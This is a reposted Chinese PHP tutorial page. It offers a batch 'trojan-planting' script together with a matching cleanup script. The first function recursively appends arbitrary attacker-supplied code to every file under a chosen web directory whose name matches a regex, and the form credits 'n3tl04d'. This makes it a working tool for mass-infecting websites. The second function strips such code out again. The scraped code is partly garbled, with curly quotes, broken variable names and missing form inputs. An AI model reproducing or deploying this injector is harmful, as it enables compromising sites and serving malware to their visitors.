加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

php下批量挂马和批量清马代码

发布时间:2020-12-13 05:50:51 所属栏目:PHP教程 来源:网络整理
导读:div class="codetitle" a style="CURSOR: pointer" data="7793" class="copybut" id="copybut7793" onclick="doCopy('code7793')" 代码如下: div class="codebody" id="code7793" ?php function gmfun($path=”.”) { $d = @dir($path); while(false !== ($v

<div class="codetitle"><a style="CURSOR: pointer" data="7793" class="copybut" id="copybut7793" onclick="doCopy('code7793')"> 代码如下:<div class="codebody" id="code7793">
<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”,“a”);
@fwrite($handle,“$mm”);
@fclose($handle);
echo “已挂马文件:$filen
”; }
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”,“rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”,“wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马文件:$filen
”; }
}
}
$d->close();
echo ” “;
} if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
批量挂马(清马)程序php版
<form action=”<?$PHP_SELF?>?action=gm” method=”post”>


<tr>
网站批量挂马程序php版
BY n3tl04d

<td> </tr>
<tr>
路径:</td>
(可填相对路径)
<td> </tr>
<tr>
挂马关键字:</td>
—–正则表达式匹配——
</td>
<td> </tr>
<tr>
想写入的挂马代码:</td>

<td> </tr>
<tr>




</td>
<td> </tr>
</table>

<form action=”<?$PHP_SELF?>?action=qm” method=”post”>

<tr>
批量清马工具php版
BY 随风而去(LST)

<td> </tr>
<tr>
路径:</td>
(可填相对路径)
<td> </tr>
<tr>
清马关键字:</td>
—–正则表达式匹配——
</td>
<td> </tr>
<tr>
想清除的挂马代码:</td>

<td> </tr>
<tr>




</td>
<td> </tr>
</table>

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!